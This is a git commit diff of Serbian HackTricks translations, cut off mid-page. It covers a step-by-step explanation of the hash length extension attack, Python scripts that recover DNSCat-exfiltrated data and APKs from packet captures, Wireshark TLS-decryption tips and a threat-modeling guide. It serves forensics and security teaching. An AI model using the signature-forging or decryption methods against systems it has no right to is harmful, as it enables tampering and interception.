Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi

This commit is contained in:
Translator 2024-04-18 03:37:40 +00:00
parent cc04a61225
commit ad9622afad
34 changed files with 1624 additions and 854 deletions

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -12,31 +12,44 @@ Drugi načini podrške HackTricks-u:
</details>
## WhiteIntel
# Summary of the attack
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu vrednost** na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate:
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
# Rezime napada
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu vrednost** nekim poznatim čistim tekstualnim podacima, a zatim hešira te podatke. Ako znate:
* **Dužinu tajne** (ovo takođe može biti probijeno iz datog opsega dužine)
* **Čiste tekstualne podatke**
* **Algoritam (i ranjiv je na ovaj napad)**
* **Algoritam (i ako je ranjiv na ovaj napad)**
* **Padding je poznat**
* Obično se koristi podrazumevani, pa ako su ispunjeni i ostala 3 zahteva, i ovaj je
* Obično se koristi podrazumevani, pa ako su ispunjeni i ostali 3 zahteva, i ovaj je
* Padding varira u zavisnosti od dužine tajne+podataka, zbog čega je potrebna dužina tajne
Onda je moguće da **napadač** **doda** **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
## Kako?
Osnovno, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
Osnovno, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
Zatim, zamislite da je tajna "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
Zamislite da je tajna "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
Ako napadač želi da doda string "dodatak" može:
* Generisati MD5 od 64 "A"
* Promeniti stanje prethodno inicijalizovanog heša u 6036708eba0d11f6ef52ad44e8b74d5b
* Dodati string "dodatak"
* Završiti heširanje i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
* Završiti heš i rezultirajući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
## **Alat**
@ -46,6 +59,17 @@ Ako napadač želi da doda string "dodatak" može:
Ovaj napad možete pronaći dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
@ -53,7 +77,7 @@ Ovaj napad možete pronaći dobro objašnjen na [https://blog.skullsecurity.org/
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**

View file

@ -4,18 +4,31 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
Ako imate pcap sa podacima koji se **eksfiltriraju putem DNSCat-a** (bez korišćenja enkripcije), možete pronaći eksfiltrirani sadržaj.
Samo trebate znati da **prva 9 bajta** nisu stvarni podaci već su povezani sa **C\&C komunikacijom**:
Samo trebate znati da **prva 9 bajtova** nisu stvarni podaci već su povezani sa **C\&C komunikacijom**:
```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct
@ -39,7 +52,7 @@ Za više informacija: [https://github.com/jrmdev/ctf-writeups/tree/master/bsides
Postoji skripta koja radi sa Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
```bash
python3 dnscat_decoder.py sample.pcap bad_domain
```
<details>
@ -48,10 +61,10 @@ python3 dnscat_decoder.py sample.pcap bad_domain
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,22 +1,36 @@
# Trikovi za Wireshark
# Trikovi sa Wireshark-om
## Trikovi za Wireshark
## Trikovi sa Wireshark-om
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Unapredite svoje veštine u Wireshark-u
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Unapredite svoje veštine sa Wireshark-om
### Tutorijali
@ -29,7 +43,7 @@ Sledeći tutorijali su sjajni za učenje nekih cool osnovnih trikova:
### Analizirane informacije
**Ekspertne informacije**
**Ekspertske informacije**
Klikom na _**Analyze** --> **Expert Information**_ dobićete **pregled** onoga što se dešava u analiziranim paketima:
@ -37,13 +51,13 @@ Klikom na _**Analyze** --> **Expert Information**_ dobićete **pregled** onoga
**Rešene adrese**
Pod _**Statistics --> Resolved Addresses**_ možete pronaći nekoliko **informacija** koje je wireshark "**rešio**" kao što su port/transport u protokol, MAC adresa proizvođača, itd. Korisno je znati šta je uključeno u komunikaciju.
Pod _**Statistics --> Resolved Addresses**_ možete pronaći nekoliko **informacija** koje je Wireshark "**rešio**" kao što su port/transport do protokola, MAC do proizvođača, itd. Korisno je znati šta je uključeno u komunikaciju.
![](<../../../.gitbook/assets/image (571).png>)
**Hijerarhija protokola**
Pod _**Statistics --> Protocol Hierarchy**_ možete pronaći **protokole** koji su uključeni u komunikaciju i podatke o njima.
Pod _**Statistics --> Protocol Hierarchy**_ možete pronaći **protokole** koji su **učestvovali** u komunikaciji i podatke o njima.
![](<../../../.gitbook/assets/image (572).png>)
@ -85,9 +99,9 @@ Drugi interesantni filteri:
### Pretraga
Ako želite da **pretražujete** **sadržaj** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve u glavnu traku informacija (No., Vreme, Izvor, itd.) pritiskom na desno dugme, a zatim na dugme za uređivanje kolone.
Ako želite da **pretražujete** **sadržaj** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve u glavnu informacionu traku (Br., Vreme, Izvor, itd.) pritiskom na desno dugme, a zatim na uređivanje kolone.
### Besplatni pcap labovi
### Besplatne pcap laboratorije
**Vežbajte sa besplatnim izazovima na: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
@ -97,7 +111,7 @@ Možete dodati kolonu koja prikazuje Host HTTP zaglavlje:
![](<../../../.gitbook/assets/image (403).png>)
I kolonu koja dodaje ime servera iz inicijalne HTTPS veze (**ssl.handshake.type == 1**):
I kolonu koja dodaje ime servera sa inicijalne HTTPS veze (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>)
@ -105,7 +119,7 @@ I kolonu koja dodaje ime servera iz inicijalne HTTPS veze (**ssl.handshake.type
### Iz DHCP-a
U trenutnom Wireshark-u umesto `bootp` trebate pretražiti `DHCP`
U trenutnom Wireshark-u umesto `bootp` treba da tražite `DHCP`
![](<../../../.gitbook/assets/image (404).png>)
@ -117,26 +131,25 @@ U trenutnom Wireshark-u umesto `bootp` trebate pretražiti `DHCP`
### Dekriptovanje https saobraćaja sa privatnim ključem servera
_edit>preference>protocol>ssl>_
_izmeni>postavke>protokol>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
Pritisnite _Edit_ i dodajte sve podatke o serveru i privatnom ključu (_IP, Port, Protocol, Key file i password_)
Pritisnite _Izmeni_ i dodajte sve podatke servera i privatnog ključa (_IP, Port, Protokol, Datoteka ključa i lozinka_)
### Dekriptovanje https saobraćaja sa simetričnim sesijskim ključevima
i Firefox i Chrome imaju mogućnost beleženja TLS sesijskih ključeva, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava detaljnu analizu sigurne komunikacije. Više detalja o tome kako izvršiti ovo dekriptovanje možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
I Firefox i Chrome imaju mogućnost da beleže TLS sesijske ključeve, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava dubinsku analizu sigurnih komunikacija. Više detalja o tome kako izvršiti ovu dekripciju možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Da biste ovo otkrili, pretražite okruženje za promenljivu `SSLKEYLOGFILE`
Fajl sa deljenim ključevima će izgledati ovako:
Datoteka deljenih ključeva će izgledati ovako:
![](<../../../.gitbook/assets/image (99).png>)
Da biste uvezli ovo u wireshark idite na \_edit > preference > protocol > ssl > i uvezite ga u (Pre)-Master-Secret log filename:
Da biste ovo uvezali u Wireshark idite na \_izmeni > postavke > protokol > ssl > i uvezite u (Pre)-Master-Secret log filename:
![](<../../../.gitbook/assets/image (100).png>)
## ADB komunikacija
Izvucite APK iz ADB komunikacije gde je APK poslat:
@ -166,16 +179,28 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,60 +1,74 @@
# Model pretnje
## Model pretnje
## WhiteIntel
Dobrodošli u sveobuhvatni vodič HackTricks-a o modeliranju pretnji! Krenite u istraživanje ovog ključnog aspekta kibernetičke sigurnosti, gde identifikujemo, razumemo i strategiziramo protiv potencijalnih ranjivosti u sistemu. Ova nit služi kao vodič korak po korak, pun stvarnih primera, korisnog softvera i lako razumljivih objašnjenja. Idealno za početnike i iskusne stručnjake koji žele ojačati svoju kibernetičku odbranu.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Model pretnji
Dobrodošli u sveobuhvatni vodič HackTricks-a o Modeliranju pretnji! Krenite u istraživanje ovog ključnog aspekta kibernetičke bezbednosti, gde identifikujemo, razumemo i strategiziramo protiv potencijalnih ranjivosti u sistemu. Ova nit služi kao vodič korak po korak pun realnih primera, korisnog softvera i lako razumljivih objašnjenja. Idealno za početnike i iskusne praktičare koji žele ojačati svoje odbrambene mere kibernetičke bezbednosti.
### Često korišćeni scenariji
1. **Razvoj softvera**: Kao deo Secure Software Development Life Cycle (SSDLC), modeliranje pretnji pomaže u **identifikaciji potencijalnih izvora ranjivosti** u ranim fazama razvoja.
2. **Pentestiranje**: Okvir Penetration Testing Execution Standard (PTES) zahteva **modeliranje pretnji kako bi se razumela ranjivost sistema** pre sprovođenja testa.
1. **Razvoj softvera**: Kao deo Sigurnog ciklusa razvoja softvera (SSDLC), modeliranje pretnji pomaže u **identifikaciji potencijalnih izvora ranjivosti** u ranim fazama razvoja.
2. **Testiranje proboja**: Standard izvršenja testiranja proboja (PTES) zahteva **modeliranje pretnji kako bi se razumele ranjivosti sistema** pre sprovođenja testa.
### Model pretnji ukratko
Model pretnji se obično predstavlja kao dijagram, slika ili neka druga vrsta vizualne ilustracije koja prikazuje planiranu arhitekturu ili postojeću izgradnju aplikacije. Sličan je **dijagramu protoka podataka**, ali ključna razlika leži u njegovom dizajnu usmerenom na sigurnost.
Model pretnji se obično predstavlja kao dijagram, slika ili neka druga vizuelna ilustracija koja prikazuje planiranu arhitekturu ili postojeću izgradnju aplikacije. Sličan je **dijagramu protoka podataka**, ali ključna razlika leži u njegovom dizajnu orijentisanom ka bezbednosti.
Modeli pretnji često sadrže elemente označene crvenom bojom, simbolizujući potencijalne ranjivosti, rizike ili prepreke. Da bi se olakšao proces identifikacije rizika, koristi se CIA (Poverljivost, Integritet, Dostupnost) trijad, koja je osnova mnogih metodologija modeliranja pretnji, pri čemu je STRIDE jedna od najčešćih. Međutim, izbor metodologije može varirati u zavisnosti od specifičnog konteksta i zahteva.
Modeli pretnji često sadrže elemente označene crvenom bojom, simbolizujući potencijalne ranjivosti, rizike ili prepreke. Da bi se olakšao proces identifikacije rizika, koristi se trijada CIA (Poverljivost, Integritet, Dostupnost), koja čini osnovu mnogih metodologija modeliranja pretnji, pri čemu je STRIDE jedna od najčešćih. Međutim, odabrana metodologija može varirati u zavisnosti od specifičnog konteksta i zahteva.
### CIA trijad
### Trijada CIA
CIA trijad je široko priznat model u oblasti informacione sigurnosti, koji označava Poverljivost, Integritet i Dostupnost. Ova tri stuba čine osnovu mnogih sigurnosnih mera i politika, uključujući metodologije modeliranja pretnji.
Trijada CIA je široko priznat model u oblasti informacione bezbednosti, označavajući Poverljivost, Integritet i Dostupnost. Ova tri stuba čine osnovu na kojoj se grade mneme mere bezbednosti i politike, uključujući metodologije modeliranja pretnji.
1. **Poverljivost**: Osiguravanje da podaci ili sistem ne budu dostupni neovlašćenim osobama. Ovo je centralni aspekt sigurnosti, koji zahteva odgovarajuće kontrole pristupa, enkripciju i druge mere kako bi se sprečilo curenje podataka.
2. **Integritet**: Tačnost, doslednost i pouzdanost podataka tokom njihovog životnog ciklusa. Ovaj princip osigurava da podaci ne budu izmenjeni ili manipulisani od strane neovlašćenih strana. Često uključuje kontrolne zbirke, heširanje i druge metode provere podataka.
3. **Dostupnost**: Ovo osigurava da podaci i usluge budu dostupni ovlašćenim korisnicima kada su im potrebni. Često uključuje redundancu, toleranciju na greške i konfiguracije visoke dostupnosti kako bi se sistemi održavali čak i u slučaju prekida.
1. **Poverljivost**: Osiguravanje da podaci ili sistem nisu dostupni neovlašćenim osobama. Ovo je centralni aspekt bezbednosti, zahtevajući odgovarajuće kontrole pristupa, enkripciju i druge mere kako bi se sprečili curenje podataka.
2. **Integritet**: Tačnost, doslednost i pouzdanost podataka tokom njihovog životnog ciklusa. Ovaj princip osigurava da podaci nisu izmenjeni ili manipulisani od strane neovlašćenih strana. Često uključuje kontrolne zbirove, heširanje i druge metode provere podataka.
3. **Dostupnost**: Ovo osigurava da podaci i usluge budu dostupni ovlašćenim korisnicima kada je potrebno. Često uključuje redundanciju, toleranciju na greške i konfiguracije visoke dostupnosti kako bi se sistemi održavali čak i u slučaju prekida.
### Metodologije modeliranja pretnji
1. **STRIDE**: Razvijen od strane Microsoft-a, STRIDE je akronim za **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service i Elevation of Privilege**. Svaka kategorija predstavlja vrstu pretnje, a ova metodologija se često koristi u fazi dizajna programa ili sistema radi identifikacije potencijalnih pretnji.
2. **DREAD**: Ovo je još jedna metodologija od Microsoft-a koja se koristi za procenu rizika identifikovanih pretnji. DREAD označava **Potencijal štete, Reproduktivnost, Iskorišćivost, Pogođeni korisnici i Otkrivanje**. Svaki od ovih faktora se ocenjuje, a rezultat se koristi za prioritetizaciju identifikovanih pretnji.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Ovo je sedmostepena, **rizik-orientisana** metodologija. Uključuje definisanje i identifikaciju sigurnosnih ciljeva, kreiranje tehničkog opsega, dekompoziciju aplikacije, analizu pretnji, analizu ranjivosti i procenu rizika/triage.
4. **Trike**: Ovo je metodologija zasnovana na riziku koja se fokusira na odbranu imovine. Polazi od **perspektive upravljanja rizikom** i posmatra pretnje i ranjivosti u tom kontekstu.
5. **VAST** (Visual, Agile i Simple Threat modeling): Ovaj pristup ima za cilj da bude pristupačniji i integriše se u okruženja agilnog razvoja. Kombinuje elemente drugih metodologija i fokusira se na **vizualno prikazivanje pretnji**.
6. **OCTAVE** (Operationally Critical Threat, Asset i Vulnerability Evaluation): Razvijen od strane CERT Coordination Center-a, ovaj okvir je usmeren na **procenu rizika organizacije, a ne specifičnih sistema ili softvera**.
1. **STRIDE**: Razvijen od strane Microsoft-a, STRIDE je akronim za **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Svaka kategorija predstavlja vrstu pretnje, a ova metodologija se često koristi u fazi dizajna programa ili sistema kako bi se identifikovale potencijalne pretnje.
2. **DREAD**: Ovo je još jedna metodologija od Microsoft-a koja se koristi za procenu rizika identifikovanih pretnji. DREAD označava **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Svaki od ovih faktora se ocenjuje, a rezultat se koristi za prioritetizaciju identifikovanih pretnji.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Ovo je sedmostepena, **rizikom usmerena** metodologija. Uključuje definisanje i identifikaciju sigurnosnih ciljeva, kreiranje tehničkog opsega, dekompoziciju aplikacije, analizu pretnji, analizu ranjivosti i procenu rizika/trijage.
4. **Trike**: Ovo je metodologija zasnovana na riziku koja se fokusira na odbranu imovine. Počinje iz perspektive **upravljanja rizikom** i posmatra pretnje i ranjivosti u tom kontekstu.
5. **VAST** (Visual, Agile, and Simple Threat modeling): Ovaj pristup ima za cilj da bude pristupačniji i integriše se u Agile razvojna okruženja. Kombinuje elemente iz drugih metodologija i fokusira se na **vizuelne prikaze pretnji**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Razvijen od strane CERT Coordination Centra, ovaj okvir je usmeren ka **proceni organizacionih rizika umesto specifičnih sistema ili softvera**.
## Alati
Postoji nekoliko alata i softverskih rešenja dostupnih koji mogu **pomoći** u kreiranju i upravljanju modelima pretnji. Evo nekoliko koje biste mogli razmotriti.
Postoji nekoliko alata i softverskih rešenja dostupnih koji mogu **pomoći** u kreiranju i upravljanju modelima pretnji. Evo nekoliko koje možete razmotriti.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Napredni prenosivi i višefunkcionalni GUI web spider/crawler za profesionalce u oblasti kibernetičke sigurnosti. Spider Suite se može koristiti za mapiranje i analizu površine napada.
Napredni višefunkcionalni GUI veb pauk/crawler za profesionalce u oblasti kibernetičke bezbednosti. Spider Suite se može koristiti za mapiranje i analizu površine napada.
**Upotreba**
**Korišćenje**
1. Izaberite URL i izvršite pretragu
1. Izaberite URL i pretražite
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
2. Prikaz grafa
2. Pogledajte grafikon
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
Projekat otvorenog koda OWASP-a, Threat Dragon je web i desktop aplikacija koja uključuje dijagram sistema, kao i pravila za automatsko generisanje pretnji/mitigacija.
Projekat otvorenog koda OWASP-a, Threat Dragon je i veb i desktop aplikacija koja uključuje dijagram sistema kao i pravilo motora za automatsko generisanje pretnji/mitigacija.
**Upotreba**
**Korišćenje**
1. Kreirajte novi projekat
@ -74,17 +88,17 @@ Ponekad može izgledati ovako:
4. Kreirajte svoj model
Možete koristiti alate poput SpiderSuite Crawler-a da vam pruže inspiraciju, osnovni model bi izgledao nešto poput ovoga
Možete koristiti alate poput SpiderSuite Crawler-a da vam pruže inspiraciju, osnovni model bi izgledao nešto ovako
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Samo malo objašnjenja o entitetima:
* Proces (Sam entitet kao što je Web server ili web funkcionalnost)
* Akter (Osoba kao što je posetilac veb sajta, korisnik ili administrator)
